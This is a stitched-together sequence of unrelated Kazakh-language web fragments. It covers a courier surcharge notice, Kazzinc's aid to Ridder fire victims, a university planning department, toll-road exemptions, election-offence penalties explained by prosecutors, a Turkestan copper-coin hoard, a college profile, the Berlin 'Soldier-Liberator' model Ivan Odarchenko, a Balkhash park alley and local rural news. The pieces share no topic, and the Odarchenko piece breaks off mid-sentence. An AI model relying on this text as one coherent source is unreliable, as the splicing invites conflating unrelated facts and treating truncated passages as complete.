Назар аударыңыз! Халықаралық жөнелтімдерді Ресей Федерациясының және алыс және жақын шетелдердің (Қырғызстаннан басқа) шалғай елді мекендеріне жеткізгені үшін, тарифке салмағы 20 кг дейінгі әрбір жөнелтілім үшін 13500 теңге және салмағы 20 кг-нан асатын әрбір жөнелтілімнің әрбір толық және толық емес кг үшін 600 теңге мөлшерінде үстемеақы қолданылады.
Құрметті тапсырыс беруші, халықаралық жөнелтімді жіберер алдында оператордан WhatsApp мессенджері арқылы +7 771 736 70 84 жіберудің түпкілікті құнын нақтылаңыз. |
«Казцинк» Риддердегі өрттен зардап шеккендерге көмек көрсетеді «Казцинк» Риддердегі өрттен зардап шеккендерге көмек көрсетеді
Алғашқы бет
Жаңалықтар
«Казцинк» Риддердегі өрттен зардап шеккендерге көмек көрсетеді
10 мамыр күні Қазақстанның шығысында алапат орман өрті болды. Алдын ала деректерге қарағанда өртенген алаң 300 гектарды құрады. 40-қа тарта үй өртенді, қарт әйел қаза тауып, екі адамды күйік шалды.
Компания кеніштерінің көпшілігі, сондай-ақ ірі машина жасау металлургия өндірістері Риддерде орналасқан. «Казцинк» қала негізін салушы кәсіпорын ретінде баспанасыз қалған әр отбасына миллион теңгеден материалдық көмек көрсетуге шешім қабылдады.
«Казцинк» тұрғындарды қауіпсіз жерге көшіргеннен кейін зардап шеккендерді өз профилакторийіне жайластырып, үш мезгіл тамақпен қамтамасыз етті. Ол адамдар тамыздың ортасына дейін, яғни, атқарушы билік органдары «Ботаника» ауданында жаңадан жекеменшік үйлер тұрғызғанға дейін сонда тұратын болады.
Компанияда кеншілер қаласының зардап шеккен тұрғындарына өз ниетімен қол ұшын бергісі келгендерден киім-кешек жинау басталып та кетті. |
Стратегиялық жоспарлау және сапаны қамтамасыз ету бөлімі университеттің құрылымдық бөлімшесі болып табылады, оның мақсаты университеттің стратегиялық даму жоспарын әзірлеу, ішкі және сыртқы факторларды талдау негізінде оны үнемі жетілдіріп отыру, университеттің білім қызметі сапасының менеджменті болып табылады.
Міндеттері:
1. Қазақстан Республикасының негізгі стратегиялық құжаттарына сәйкес университеттің стратегиялық даму жоспарын әзірлеу және өзектендіру;
2.Талап етілген нәтижелерді қамтамасыз ету бойынша түзетуші іс-қимылдарды дер кезінде жүргізу және оларды жақсарту қызметтерін жоспарлау үшін «Қорқыт Ата атындағы Қызылорда университеті» КеАҚ Стратегиялық даму жоспарының көрсеткіштеріне мониторинг;
3. Университеттің экономкалық, мәдени, рухани, саяси, әлеуметтік, инновациялық тіршілік салаларын зерттеу бойынша социологиялық зерттеулер әзірлеп, жүргізу және нәтижелерін басқарушылық шешімдер қабылдау үшін ұсыну;
4. Білім бағдарламаларының ұлттық және халықаралық агенттіктерде институционалды аккредиттеу мен мамандандырылған аккредиттеуден өту ісін үйлестіру;
5. Университеттің ұлттық және халықаралық рейтингтерге қатысуы үшін мәліметтер жинау, талдау және ұсыну.
Қызметі:
1. «Қорқыт Ата атындағы Қызылорда университеті» КеАҚ Стратегиялық даму жоспарын әзірлеу;
2. Барлық құрылымдық бөлімшелердің университеттің стратегиялық даму жоспарының мақсаттарын, міндеттері мен нысаналы индикаторларын іске асыруын талдау;
3. Университеттің институционалдық аккредиттеуден және білім беру бағдарламаларын аккредиттеуден өтуіне дайындық бойынша ұйымдастыру жұмыстарын жүзеге асыру;
4. Университеттің құрылымдық бөлімшелерінің аккредиттеу агенттіктерінің сыртқы сарапшыларының ұсынымдарын орындауын бақылау (аккредиттеуден кейінгі мониторинг);
5. Университеттің ұлттық және халықаралық рейтингтерге қатысуы бойынша іс-шаралар жүйесін ұйымдастыру;
6. Университет, институттар, білім алушылар өмірінің өзекті мәселелері бойынша әлеуметтік зерттеулер ұйымдастыру және жүргізу. |
Бүгінде ақылы жолға іргелес елді-мекендерде тұратын пайдаланушылардың бір ауданның шегіне өту үшін 1000 теңгені құрайтын жылдық тарифты қолдануға мүмкіндігі бар.
ҚР Индустрия және инфрақұрылымдық даму министрлігі 2020 жылы ақылы жол учаскелерінде жеңілдікпен жүруге түзетулер енгізуді көздейтін заң жобасына бастамашы болды. Құжат жеңілдік берілген адамдар тізімін ұлғайтуды діттейді, деп хабарлайды zakon.kz.
Қазір заң жобасы ҚР Парламенті Мәжілісінде қарастырылып жатыр
Онда республикалық маңызы бар жолдардағы ақылы учаскелермен жеңілдікпен жүретіндердің қатарына ҰОС ардагерлері мен оларға теңестірілген тұлғаларды қосу көзделуде.
Бүгінде ақылы жолға іргелес елді-мекендерде тұратын пайдаланушылардың бір ауданның шегіне өту үшін 1000 теңгені құрайтын жылдық тарифты қолдануға мүмкіндігі бар.
Жолаушыларды тұрақты тасымалдауды жүзеге асыратын автобустар, ақылы жолға іргелес аудандардағы автобустар, жедел медициналық көмек қызметтері, өрт сөндіру және төтенше жағдайлар қызметтері, патрульдік полиция мен әскери техникалар тарифтерден босатылған.
Естеріңізге сала кетейік, биыл ұзындығы 5,8 мың шақырым жолды ақылы ету бойынша жұмыстар жүргізілуде. Бұл келесідей жол учаскелері: "Шымкент – Өзбекстан шекарасы", "Орал – РФ шекарасы (Саратов)", "Орал – РФ шекарасы (Самара)", "РФ шекарасы (Оренбург) – Ақтөбе", "Щучинск – Петропавл", "Қостанай – РФ шекарасы (Троицк)", "Шымкент – Қызылорда", "Шымкент – Тараз", "Тараз – Қайнар", "Қапшағай – Талдықорған", "Атырау – Бейнеу – Өзбекстан шекарасы", "Қарабұтақ – Қызылорда", "Ақтөбе – Орал", "Ақтау – Бейнеу", "Нұр-Сұлтан – Қостанай", "Павлодар – РФ шекарасы (Омбы)", "Нұр-Сұлтан – Павлодар", "Павлодар – Семей – Қалбатау". |
АСТАНА. ҚазАқпарат - ҚР Еңбек және халықты әлеуметтік қорғау вице-министрі Олжас Ордабаев «Кәсіптік біліктілік туралы» заң жобасында қатысты ерекшеліктерді айтты, деп хабарлайды ҚазАқпарат тілшісі.
Сөзінің басында вице-министр құжат еңбек нарығы мен білім беру жүйесінің байланысын нығайтатынын, сондай-ақ жұмыс күшіне қойылатын тез өзгеретін талаптарға жауап беруге мүмкіндік беретінін атап өтті.
«Қазіргі кезде еңбек нарығында қарқынды өзгерістерге тап болып отыр. Кейбір кәсіптер жойылып бара жатыр және олардың орнына басқалары келеді. Бұл ретте кәсіптердің мазмұны да өзгеріп отыр, яғни талап етілетін жаңа біліктіліктер пайда болады», - деді О. Ордабаев Орталық коммуникациялар қызметіндегі брифингіде.
Вице-министрдің айтуынша, заң жобасында толық бекітілген Ұлттық біліктілік жүйесі (ҰБЖ) келесі сұрақтарға жауап береді: қазіргі заманғы мамандар нені білуі және үйренуі керек? Бұл үшін мамандарға нені оқыту керек? Олардың кәсіби біліктілігін қалай тануға болады?
Еңбек нарығының негізгі талаптары кәсіптік стандарттарда көрсетілген, олардың негізінде білім беру бағдарламалары әзірленеді. Осы орайда жұмыс берушілердің талаптарына сәйкес келетін кадрларды даярлау қамтамасыз етіледі. Бүгінгі таңда ең көп сұранысқа ие 2689 кәсіпті қамтитын 623 кәсіби стандарт бар. Заң жобасында барлық кәсіптерді қажетті стандарттармен қамтудың негізі қарастырылған.
Заң жобасының маңызды жаңалығы – өз бетінше игерілген дағдыларды, сондай-ақ бейресми білім беру нәтижелерін тану.
«Қазір адамдар дағдыларды өз бетінше, жұмыс орнында және онлайн режимінде игеріп жатыр. Біз оқытудың осындай заманауи әдістерін мойындаймыз. Азаматтар тиісті орталықтарда кәсіби біліктілігінің бар екендігін растайтын құжатты ала алады. Сонымен қатар, егер ол кәсіби стандартта ескерілсе, бұл құжатты жұмысқа орналасу кезінде білім туралы дипломмен тең пайдалана алады», – деді ол.
О. Ордабаев бұл өз кезегінде біліктілікті тану орталықтарын дамытуға серпін беретінін және қызметкерлерді өмір бойы құзыреттіліктерін жетілдіруге ынталандыратынын айтты.
Мұнымен қоса, заң жобасында кәсіби біліктілікті тану жүргізілетін кәсіптер тізбесін қалыптастыру қарастырылған. |
Конституцияға (83-бап) сәйкес прокуратура мемлекет атынан (заңда белгіленген шектерде және нысандарда) заңдылықтың сақталуын жоғары қадағалауды жүзеге асырады және сотта мемлекеттің мүдделерін білдіреді.
Бұл функциялардың орындалуын прокуратура органдары сайлау процесінде де қамтамасыз етеді.
Президенттің кезектен тыс сайлауын өткізу туралы жарияланған сәттен бастап прокуратура органдары сайлау науқанының барлық кезеңдеріне қатысты барлық деңгейдегі прокурорлар үшін негізгі міндеттер мен ұйымдастырушылық іс-шараларды айқындады.
Қазіргі таңда ең белсенді кезең-сайлау алдындағы үгіт басталды (ағымдағы жылдың 19 қараша сағат 00:00-де аяқталады). Оны өткізу тәртібі «Қазақстан Республикасындағы сайлау туралы»Конституциялық заңмен егжей-тегжейлі реттелген.
Белгіленген нормаларды сақтамау жауапкершілікке әкеп соғады.
«Әкімшілік құқық бұзушылық туралы» Кодексте сайлау алдындағы үгіттің тәртібі мен шарттарын бұзғаны үшін 9 бап көзделген.
Бұл композициялар:
1) тыйым салу кезеңінде сайлау алдындағы үгітті жүргізу (102-бап – 15-тен 35 АЕК-ке дейінгі айыппұл);
2) сайлау алдындағы үгітті жүргізу құқығына кедергі жасау (103-бап-20-дан 50 АЕК-ке дейінгі айыппұл);
3) БАҚ арқылы сайлау алдындағы үгітті жүргізу шарттарын бұзу (112 — бап-20-дан 50 АЕК-ке дейінгі айыппұл).
Бұқаралық ақпарат құралдары арқылы үгіт жүргізу шарттары «ҚР сайлау туралы»Конституциялық заңның 27-бабында (7-тармағы) жазылған.
Үгіт жүргізу шарттарының бұзылуына мыналар жатады:
1) сайлау науқанының бұқаралық ақпарат құралдарын біржақты жариялау, яғни сайлау алдындағы іс-шаралардың мақсаттарын, міндеттері мен нәтижелерін, сондай-ақ олармен байланысты оқиғалар мен фактілерді бұрмалау;
2) кандидаттың немесе саяси партияның ар-намысына, қадір-қасиетіне және іскерлік беделіне көрінеу нұқсан келтіретін үгіт материалдарын БАҚ жариялау, сондай-ақ теріске шығаруды тегін жариялау мүмкіндігін беруден бас тарту;
3) БАҚ кандидаттарының сөз сөйлегеннен кейін бірден сөз сөйлеуін үзу және түсініктеме беру;
4) бұқаралық ақпарат құралдарының кандидаттардың біріне эфир уақытын, баспа алаңын бөлуден бас тартуы, егер басқаларға да келісім берілсе.
Осы шарттарды бұзғаны үшін әкімшілік жауапкершілік қарастырылған.
Сондай-ақ үгіт кезеңінде болуы мүмкін Әкімшілік құқық бұзушылықтардың басқа да құрамдарын атап өткім келеді:
4) анонимді үгіт материалдарын дайындау немесе тарату («ҚР сайлау туралы» ҚК 28-бабының 5-тармағына сәйкес барлық үгіт-насихат баспа материалдарында осы материалдарды шығарған ұйым, олардың басып шығару орны мен таралымы, тапсырыс берген тұлғалар, қандай қаражаттан төленгені туралы мәліметтер болуы тиіс), бұл ӘҚБтК-нің 113-бабы бойынша әкімшілік айыппұл салуға әкеп соғады (25 АЕК).
5) үгіт материалдарын қасақана жою, бүлдіру (114-бап-15 АЕК айыппұл);
6) сайлауға байланысты қоғамдық пікірге сауалнама жүргізу шарттарын бұзу (120-бап-10-нан 30 АЕК-ке дейінгі айыппұл);
Анықтама: сауалнама жүргізген заңды тұлғаны; сауалнамаға тапсырыс берген және оны төлеген адамдарды; сауалнама жүргізу уақытын; ақпарат жинау әдісін; сұрақтың нақты тұжырымын; сұралғандардың санын және сауалнама нәтижелерінің қателік коэффициентін көрсетпеу.
7) сайлау алдындағы үгітті жүргізу шарттарын бұзу (122-бап-20-дан 30 АЕК-ке дейінгі айыппұл);
Анықтама: «ҚР сайлау туралы» ҚК 27-бабының 4-тармағына сәйкес сайлау алдындағы үгіт-насихат материалдарын таратуға және таратуға тыйым салынады:
— мемлекеттік органдарға, жергілікті өзін-өзі басқару органдарына, сондай-ақ олардың лауазымды адамдарына, әскери қызметшілеріне, Ұлттық қауіпсіздік органдарының, құқық қорғау органдарының қызметкерлеріне, судьяларға, сайлау комиссияларының мүшелеріне, діни бірлестіктерге;
— кандидаттар не олардың сенім білдірілген адамдары тіркеген журналистердің, БАҚ редакцияларының лауазымды адамдарының сайлауды БАҚ арқылы жариялауға қатысуы.
8) үгіт материалдарын орналастыру (тарихи, мәдени немесе сәулеттік құндылығы бар ескерткіштер мен басқа да объектілерде, сондай-ақ дауыс беруге арналған үй-жайда, 124-бап-25 АЕК айыппұл);
9) республикалық бюджеттен сайлау алдындағы үгіт жүргізуге бөлінген қаражатты жұмсау тәртібін бұзу (125 – бап-5 АЕК айыппұл).
Аталған барлық құқық бұзушылықтар бойынша субъектілер азаматтармен, лауазымды тұлғалармен қатар кәсіпкерлік субъектілері болып табылады. Баптардың санкцияларында 10-нан 50 АЕК-ке дейін (30-дан 153 мың теңгеге дейін) айыппұл қарастырылған.
Сайлау құқықтарына қол сұғатын осы және басқа да әкімшілік құқық бұзушылықтар бойынша істер қозғау (ӘҚБтК 101-126 – баптары) прокурордың айрықша құзыретіне жатады (ӘҚБтК 805-бабы).Істерді сот қарайды.
Бірақ азаматтар өздерінің сайлау құқығын бұзған жағдайда өз бетінше тікелей сотқа жүгіне алады (ӘҚБтК 807-бабының 1-бөлігінің 4-тармағы).
Бұл жағдайда аталған санаттағы істерді бірден (прокурордың қаулысынсыз) соттар қарайды, бірақ прокурордың қатысуыменқаралады.
Әкімшілік жауапкершілікпен қатар сайлау заңнамасын бұзғаны үшін қылмыстық жауапкершілік те қарастырылған.
Бұл сайлау құқықтарын жүзеге асыруға немесе сайлау комиссияларының жұмысына кедергі келтіруге қатысты (ҚК — нің 150-бабы-түзеу жұмыстарын, бас бостандығын шектеуді қоса алғанда, 100 АЕК айыппұлдан 4 жылға дейін бас бостандығынан айыруға дейін).
Екінші құрам – сайлау құжаттарын бұрмалау немесе дауыстарды дұрыс есептемеу (ҚК — нің 151-бабы — 4 мың АЕК/шектеу немесе 4 жылға дейін бас бостандығынан айыру мөлшерінде айыппұл салу не түзеу жұмыстары).
Қазіргі уақытта осы сайлау науқаны құқықтық өрісте өтіп жатыр.
Сайлау науқанын жүргізудің заңдылығын одан әрі қамтамасыз ету үшін прокурорлар мемлекеттік және құқық қорғау органдарымен, сондай-ақ сайлау комиссияларымен тығыз қарым-қатынас орнатты. |
Мыс ақшалар көмбесі 1999 жылы Түркістан қаласынан шығыс бағытына қарай 20 км. қашықтықта орналасқан Ораңғай селосында жүрген құрылыс жұмыстары кезінде кездейсоқ табылған. Құрылыс жұмысын жүргізіп жатқан жұмысшылар, Түркістан археологиялық экспедициясына жерді тегістеп жатқан трактордың сүріп өткен жерінен көп көлемде тиындар табылғандығы туралы хабар береді. М.Тұяқбаев бастаған археологиялық экспедиция мүшелері тиындар табылған жерге келіп, қазба жұмыстарын жүргізіп, ол жерден біршама аумаққа шашылған 803 дана мыс тиындар жиып алған болатын.
2000 жылы 6 қараша күні Түркістан археологиялық экспедициясының инженері А.Ержігітова тиындар жинағын «Әзірет Сұлтан» музейінің қорына өткізді. Барлық тиындардың бір ақшалар көмбесі екендігін немесе, жеке ақшалар жинақтары екендігін тап басып айту қиын.
Бұл мыс ақшалар жинағының құрамы XVI ғасырдың басы мен XVII ғасыр аралығында соғылған мыс ақшалардан тұрады. Тиындар арасындағы соғылу мерзімдерінің алшақтығы (бір ғасырдан астам уақытты құрайды) мен едәуір ауқымды аумақтан жиылып алынуы, аталмыш тиындар жинағын бір көмбенің құрамы деп қарастыруға кедергі болып отыр.
803 данадан тұратын тиындардың 247 данасының беттеріне түсірілген шекіме бедерлері толықтай дерлік жойылып кеткен. Тиындардың 90 пайызының беттеріндегі бедер іздерінің басым бөлігі жойылып кеткен. Шекіме бедерлері, топырақ құрамындағы тиын металының сақталуына зиянды химиялық түзінділермен байланысқа түсуі салдарынан жойылып кеткен деуге, тиындардың басым бөлігінің беттерінде тотығу салдарына тән іздердің байқалмауы кедергі болып отыр.
Тиындардың басым бөлігінің беттері теп-тегіс етіп, арнайы қайта қыздырылып соғылғанға ұқсайды. Бедер қалдықтары негізінен, металдың ішіне кіріңкі етіп түсірілген, әдетте үстінен қатты соғу арқылы түсіріліп отыратын үстінен қайта шекімелерде (надчекан) сақталған. Осы орайда, тиындар табылған жер, ақшаларды қайта шекімелеуге дайындайтын ақша сарайы орналасқан мекен болуы керек деген болжам бар.
XV-XVI ғасырлар өлкеде мыс ақшалармен жүргізілетін ұсақ сауданың қарқынды дамып, халықты ұсақ ақша түрлерімен мейлінше толық қамтамасыз ету қажеттігі туындаған кезең болғандығын ескерсек, аумақтың орталығы болған Ясы-Түркістан қаласындағы ақша шекімелеу шаруасы тек қаланың өзінде ғана емес, қалаға қарасты ұсақ қоныстар мен қыстақтарда да іске асырылған болуы мүмкін. Ал, бұл тиындар осы жерде орын тепкен уақытша құрылған ақша сарайының қайта шекімелеуге арнайы дайындалған тиындар жинағы болуы керек.
Тиындар қатарында шекіме бедерлері айырып тануға мүмкіндік бере алатын жағдайда сақталған үлгілері арасында Ташкентте 907 х.ж. (1501-1502 ж.) соғылғандығы көрсетілген ضرب تاشكند في تاريخ 907 (907 жылғы Ташкент шекімесі), беттеріне парсы тілінде عاقبت خير باد (Ақибат хайр бад/Сәтті болсын) жазбасы түсірілген, ضرب يسي فلوس (Зарб Йасы фулус/Ясы мыс ақша шекімесі), ضرب سرام (Зарб Сайрам/Сайрам шекімесі), (фулус-и Адиль хан),ضرب يسي عادل خان (Зарб Йасы Адиль хан), ضرب تاشكند (Зарб Ташканд), ضرب فاحرة يسي (Зарб фохиро Ясы) жазбалары түсірілген XVI ғасырдың басы мен алғашқы жартысына тән мыс динарлар бар.
Беттеріне жазба бедерлері түсірілген тиындармен қатар толықтай анэпиграфты үлгіде, бір бетінде гүл тектес өрнек, келесі бетіне аң-құс бейне бедерлерінің қалдықтары сақталған тиындар да орын алған.
Тиындар арасында беттеріне торлама, доға пішінді сызықтардан құралған өрнектер түсірілген, сырдарияның орта және төменгі ағыстарында орналасқан мекендердің ұсақ сауда айналымында болған XVII ғасырға тән мыс ақшалар да, Р.З.Бурнашеваның зерттеулері бойынша өлкеде XVII-XVIII ғғ. ақша соғу ісінде орын алған тоқырау кезеңдерінде мыс ақша орнына жүрген мыс сым кесінділері түріндегі ақша дайындамалары да кездеседі. |
Колледжді заманауи бәсекеге қабілетті деңгейге көтеру мақсатында колледждің оқу-әдістемелік жұмысының мақсаты:
- «Колледждің білім беру жүйесін қоғам талабына және Маңғыстау облысының экономикасын индустриялық-инновациялық дамытуға қарай жетілдіру».
Мақсатты жүзеге асыру үшін колледж ұжымы келесі міндеттерді шешуге тиіс:
— педагогикалық кадр құрамын толықтыру және кәсіби деңгейін арттыру;
— колледждің білім беру, индустриалдық-инновациялық қызметіне мониторинг жүргізу бағыттарын кеңейту;
— модульдік оқыту технологиясын енгізу, оқу бағдарламаларын оқытудың модульдік түріне көшіру, колледждің оқу, оқу-әдістемелік және материалдық-техникалық базасын жаңарту.
Колледждің педагогикалық ұжымы 2020 жылғы 01 қыркүйек кезеңінде 39 оқытушыдан тұрады, оның ішінде штаттық оқытушылар үлесі 92,5%-ды құрайды. Олардың 22-і жоғары және бірінші біліктілік санатты оқытушылар, 55 %-ды құрайды.
Оқытушылар құрамының орта жасы – 44 жас. Сонын ішінде арнайы пәнен беретін 23 оқытушы, жалпы пәнінің оқытушысы 16 .Ғылыми дәрежесі бойынша оқытушылар саны: 1 ғылым докторы, 3 ғылым кандидаты, 5 магистр Колледждің оқытушылар құрамының педагогикалық стажы орта есеппен 20 жылдан жоғары. |
Берлиндегі «азат етуші жауынгер» – Қызылжардың Иваны: 11 мамыр 2010, 09:03 - жаңалықтар Alashainasy.kz
Басты Өзге тақырыптар Даңқ
Берлиндегі «азат етуші жауынгер» – Қызылжардың Иваны
11 мамыр 2010, 09:03
Берлиннің төріндегі Трептов-паркте тұрған Ұлы Отан соғысына арналған ең танымал ескерткіштердің бірі «Азат етуші жауынгер» мүсінінің түптұлғасы қазақстандық Иван Одарченко екенін біреу білер, біреу білмес. Оң қолында қанжары, сол қолымен кішкентай сәбиді құшақтаған жерлесіміздің қола бейнесі Ұлы Отан соғысындағы Жеңістің бес жылдығына орай жасалған болатын. Кезінде саябаққа қою үшін бұл мүсінмен қатар, қолына глобус ұстаған Сталиннің ескерткішінің жобасы да ұсынылған екен. Бірақ Сталин өзін емес, кеңес солдатының мүсіні тұрғанын қалапты.
Жеңіске жеткен ел болғандықтан, КСРО Берлинді әскери құрылымның қарауына беріп, қаланың коменданты болып генерал Николай Берзарин тағайындалады. Оған шаһардың төріне жеңімпаз елдің айбынын аңғартатындай ескерткіш орнату бұйырылғаны және мүсінші Евгений Вучетичтің жіберілгені жөнінде әскери журналист, соғыс жылдары майдан газеттерінде істеген қазақстандық Василий Скоробогатовтың «Отгремели залпы» деген кітабында жазылған.
Берзаринмен кездесіп, тапсырманың маңыздылығын түсінген мүсінші өзіне барынша еркіндік беруді, мүсінге лайықты тұлғаны таңдағанда жоғарыдан ешқандай қысым жасалмауын өтінеді. Генералдың келісімін алған мүсінші Берлин гарнизонын аралап, ескерткішке лайық жауынгерді іздеуге кіріседі. Оның ойынша, бұл жауынгер зор денелі, қаһарман, сондай-ақ қайырымды, жүзінен жылылық сезілетіндей болуы керек. Вучетич ойындағы адамды біраз іздеп, ақыры жолықтырады. Берлиннің Вайсензее ауданында кеңес жауынгерлері арасында жарыс өтіп жатады. Кроста жүгіріп келген Иван Одарченко өзгелердің жарысты қалай аяқтайтынын аңдып тұрады. Оның дене-болмысын, тұрған тұрысын біраз бақылаған мүсінші бұл жігітті лайық деп тауып, оған ойын жеткізеді.
Вучетич бастаған мүсінші-сәулетшілер алғашында екі ескерткіштің жобасын жасап, Сталинге жібереді. Біріншісінде – құтқарылған балдырғанды көтеріп тұрған қарапайым жауынгер, ал екіншісінде әлемді бағындыру нышанын білдіретін глобусты ұстап тұрған Сталин сомдалған. Көсем біріншісін дұрыс деп табады, бірақ айбындырақ көріну үшін қолындағы автоматты семсермен алмастыруды тапсырады.
Сөйтіп, қазақстандық жауынгер Иван Одарченко жарты жыл бойы мүсіншінің жанында болады. Ескерткіштің гипстен жасалған моделі Ленинградқа жіберіліп, қоладан құйылады. Кейін Берлинге жеткізіліп, 1949 жылдың 8 мамыр күні салтанатты түрде ашылады. Бір қызығы, әскери борышын өтеу барысында Иван Одарченко бірнеше рет өзі сомдалған ескерткішті күзетуге де қатысыпты.
Енді Иван Одарченконың өмірі туралы бір-екі ауыз сөз. Ол 1926 жылы қазіргі Ақмола облысының Новоалександровка селосында туған. Сұрапыл соғыс басталып, әкесі Степан мен ағасы Петр майданға аттанады. Екеуі де жау оғынан қаза табады. Ал Иван 16 жасында кеңшарда бригада басқарады. 1944 жылы әскер қатарына шақыртылып, алдымен Аягөздегі полкте оқиды. Кейін майданға аттанған ол 9-гвардиялық армияның 114-дивизиясының құрамында соғысады. Чехияны, Венгрияны, Австрияны фашистерден азат етеді. Жеңістен кейін ол Берлинде кеңес әскерінің қатарында әскери борышын одан ары өтеп, 1949 жылы ғана босайды. Қазақстанға келер жолда Тамбовта тұратын қарындасының үйіне соғып, сонда тұрақтап қалып қояды. 37 жыл бойы «Автотрактордеталь» зауытында темір жонушы болып еңбек етеді. Ол «Ерлігі үшін» медалімен, |
Алып шахмат фигуралары мен асықтар Балқаштың орталық саябағындағы жаңа аллеяны безендірді, деп хабарлайды Деловой Қазақстан.
Демалушыларға ыңғайлы болу үшін алаңда әдемі беседкалар мен үстел ойындарына арналған үстелдер орнатылды.
Жаңа аллеяның ауданы 720 шаршы метрді құрайды. Ол саябақтың солтүстік-батыс бөлігінде орналасқан. Оның эскизін Балқаш Суретшілер Одағы дайындады. Аумақта төсеніштер төселген, жарықтандыру жүргізілген, ерекше атмосфераны гирляндалар сыйлайды.
Шахмат фигураларының биіктігі жарты метрге жетеді, әрқайсысының салмағы шамамен жеті килограмм. Сондай-ақ, алып фигуралардың жанында төрт үстел бар, онда балхаштықтар шахмат немесе дойбы ойнай алады.
Асықтардың биіктігі бір метрге жуық. Олар шыны талшықтан жасалған және сәндік-декоративтік қызмет атқарады. Белсенді ойын әуесқойлары үшін мұнда демалушылар нағыз асық ойнай алатын арнайы алаң бар.
– Аллеяның эскизін Балқаш Суретшілер Одағы жасаған. "Шахмат" және "Асық ойнау" архитектуралық нысандары ЖШС-нің біреуінің авторлық әзірлемесі болып табылады. Сондай-ақ, аллеяда үш әдемі беседка орналастырылған, төсеніш төселген, – дейді Балқаш қаласының ТКШ, жолаушылар көлігі және автомобиль жолдары бөлімінің басшысы Ескендір Қабидолла. – Бұл аллея – қалада үстел ойындары мен тұрғындардың жағымды ойын-сауық орындары ұйымдастырылған бірінші орын.
Жақында жаңа аллеяда бейнебақылау камералары орнатылады. Саябақтың периметрі бойынша барлығы 20-ға жуық камера жұмыс істейді.
Жаңалықпен бөлісу
Қазір оқығандар
Tesla Қытайдағы 400 000-нан астам автокөлікті кері қайтарып алуда 7 желтоқсан, 16:09 593
Қытайдың электронды ақпарат өндіру секторы өсуде 7 желтоқсан, 15:12 535
Қытайда автомобиль логистикасына баға индексі қарашада тұрақтанды 7 желтоқсан, 16:27 523
Қытайдың фьючерстік нарығында қарашада сауда-саттық өсті 7 желтоқсан, 15:48 513
Қытайда табиғи газды тұтыну қазан айында өсті 7 желтоқсан, 15:36 494
«DKNews» халықаралық ақпараттық агенттігі Қазақстан Республикасының Мәдениет және ақпарат министрлігінде тіркелген. Есепке қою туралы куәлік № 10484-АА 2010 жылдың 20 қаңтарында берілді. |
Исатай ауданының әкімі Марат Мурзиев Нарын құмы өңіріндегі Айбас учаскесінде болып, шаруа қожалықтары мен тұрғындардың хал-жағдайларымен танысты.
Қатқыл мен жиек бойына қарағанда, құмның бұл бөлігіндегі жайылыс жаман емес. Шаруа адамдарымен кездескен аудан әкімі ежелден төрт түлік мал қоныстанған өңірде шаруагерлердің мемлекеттік қолдауларды пайдаланып, ауыл шаруашылығын дамыту бағытында атқарып жатқан жұмыстарына ризашылық білдірді. Бақтығали Ибрашевтың қыстағында болған жиында шаруагерлер күнделікті өмірде көңіл бөлуді қажет ететін кейбір мәселелерді айтты.
- Құм өңірінде жерасты суы жылдан-жылға азайып, тартылып барады. Сондықтан бұл мәселеге ғылыми тұрғыдан зерттеу жұмыстары қажет деп ойлаймын, - дейді шаруа қожалығының басшысы Ғафу Есенғалиев.
Ал, Бақтығали Ибрашев болса: - Дүзгін өсімдігі Айбастың шет жақтағы жайылыстарында көбейіп барады. Ол шөптің шығуына да кері әсерін тигізеді. Қасқыр аулауды күн тәртібінен түсірмеу керек, -деген ұсыныс-пікірін ортаға тастады.
- Құм өңірінде де электр энергиясымен қамту оң шешіле бастады. Шағын технологиялы жабдықтар әр үйде бар деуге болады. Телеком мамандары телефон байланысының қалыпты жұмыс істеуіне мерзімді көңіл бөліп тұрса, - деді Телжан Макаримов.
Сапар барысында «Әп, бәрекелді!» дегізер жайттар да кездесті. Таңатар Сабиров басқаратын шаруа қожалығының мүшелері қуанышты болып жатыр екен. Құмдағы ауылға интернет жүйесі келіп, waifai арқылы тікелей байланысқа шығуға мүмкіндік туыпты. Оған жақын қоныстанған Санат Тәтеков те үйіне интернет орнатып алған.
Шаруаны шашыратпай отырған өңірде заман талабынан қалыспауға ұмтылғандар баршылық. Осындағы Есенгелді Жұбаев пен Өтеп Құбаханов шаруа қожалығын жүргізу үшін жер учаскелерін рәсімдеу жұмыстарын қолға алғанын білдірді.
Аудан әкімі М.Мурзиев жаңадан құрылған шаруа қожалығының бастамасымен танысты, шаруагерлерге ауыл шаруашылығын дамыту жобаларын субсидиялау қағидасына сәйкес белгіленген қайтарымсыз қаражаттарды алудың тәртібін, алға қарай мал тұқымын асылдандыру, мал өнімдерін өңдеу жобаларына басымдық беріліп отырғанын түсіндірді. Шаруагерлер көкейіндегі сұрақтарына да жауаптар алды.
Айбасты аралаған бұл сапарында аудан әкімімен бірге аудандық мәслихаттың депутаты А.Аманбаев, аудан әкімінің орынбасары Е.Әбілхасымов, Тұщықұдық ауылдық округінің әкімі М.Өтеғалиев, аудандық кәсіпкерлік және ауыл шаруашылығы бөлімінің басшысы Н.Өтегенов болды. |
Кәукария Бөбешова – Октябрьское ауылының тұрғыны. Ұзақ жылдар бойы ұстаздық қызмет атқарған жан бүгін көппен бірге сайлауға келіп отыр. Зейнеткер 3 үміткердің біріне дауыс берді. Саяси доданың мұндай форматы азаматшаның көңілінен шығыпты.
Кәукария Бөбешова, Октябрьское ауылының тұрғыны, М.Жұмабаев ауданы:
– Жақсы, қолдаймын. Баяғыда кімнің әкім болып келіп жатқанын білмедік. Қазір барлығын білеміз. Аудандық газеттен әрқайсысының өмірбаянын оқыдық, таныстық.
Тереса Кулешова да дәл осындай пікірде. Туылғалы Октябрьское ауылында тұратын нәзікжанды соңғы жылдары округте бірнеше әкімнің ауысқанын айтады. Олардың көбі өзге жақтан келіпті. Осы орайда зейнеткердің мынандай өтініші бар.
Тереса Кулешова, Октябрьское ауылының тұрғыны, Мағжан Жұмабаев ауданы:
– Жергілікті тұрғындардың барлығы сөзі өтімді, іскер ауылдықтың бірі әкім болғанын қалайды. Басшы елді мекенде тұру қажет деп ойлаймын. Сонда мұндағы проблемалар шешіледі. Әрі адамдар кез келген уақытта әкімге барып, өз мәселесін жеткізеді.
Бұл ретте айта кетейік, бүгінгі күні Октябрьское ауылдық округінде 800-ге адам тұрып жатыр. Олардың 595-і – сайлаушы. |
Әлеуметтік қамсыздандыруға құқық – адамның негізгі әлеуметтік-экономикалық құқықтарының бірі. Бұл құқық 1948 жылғы Адам құқықтарының жалпы декларациясының 26-бабында, 1966 жылғы Экономикалық, әлеуметтік және мәдени құқықтар туралы халықаралық пактінің 11-бабында және өзге де халықаралық актілерде бекітілген.
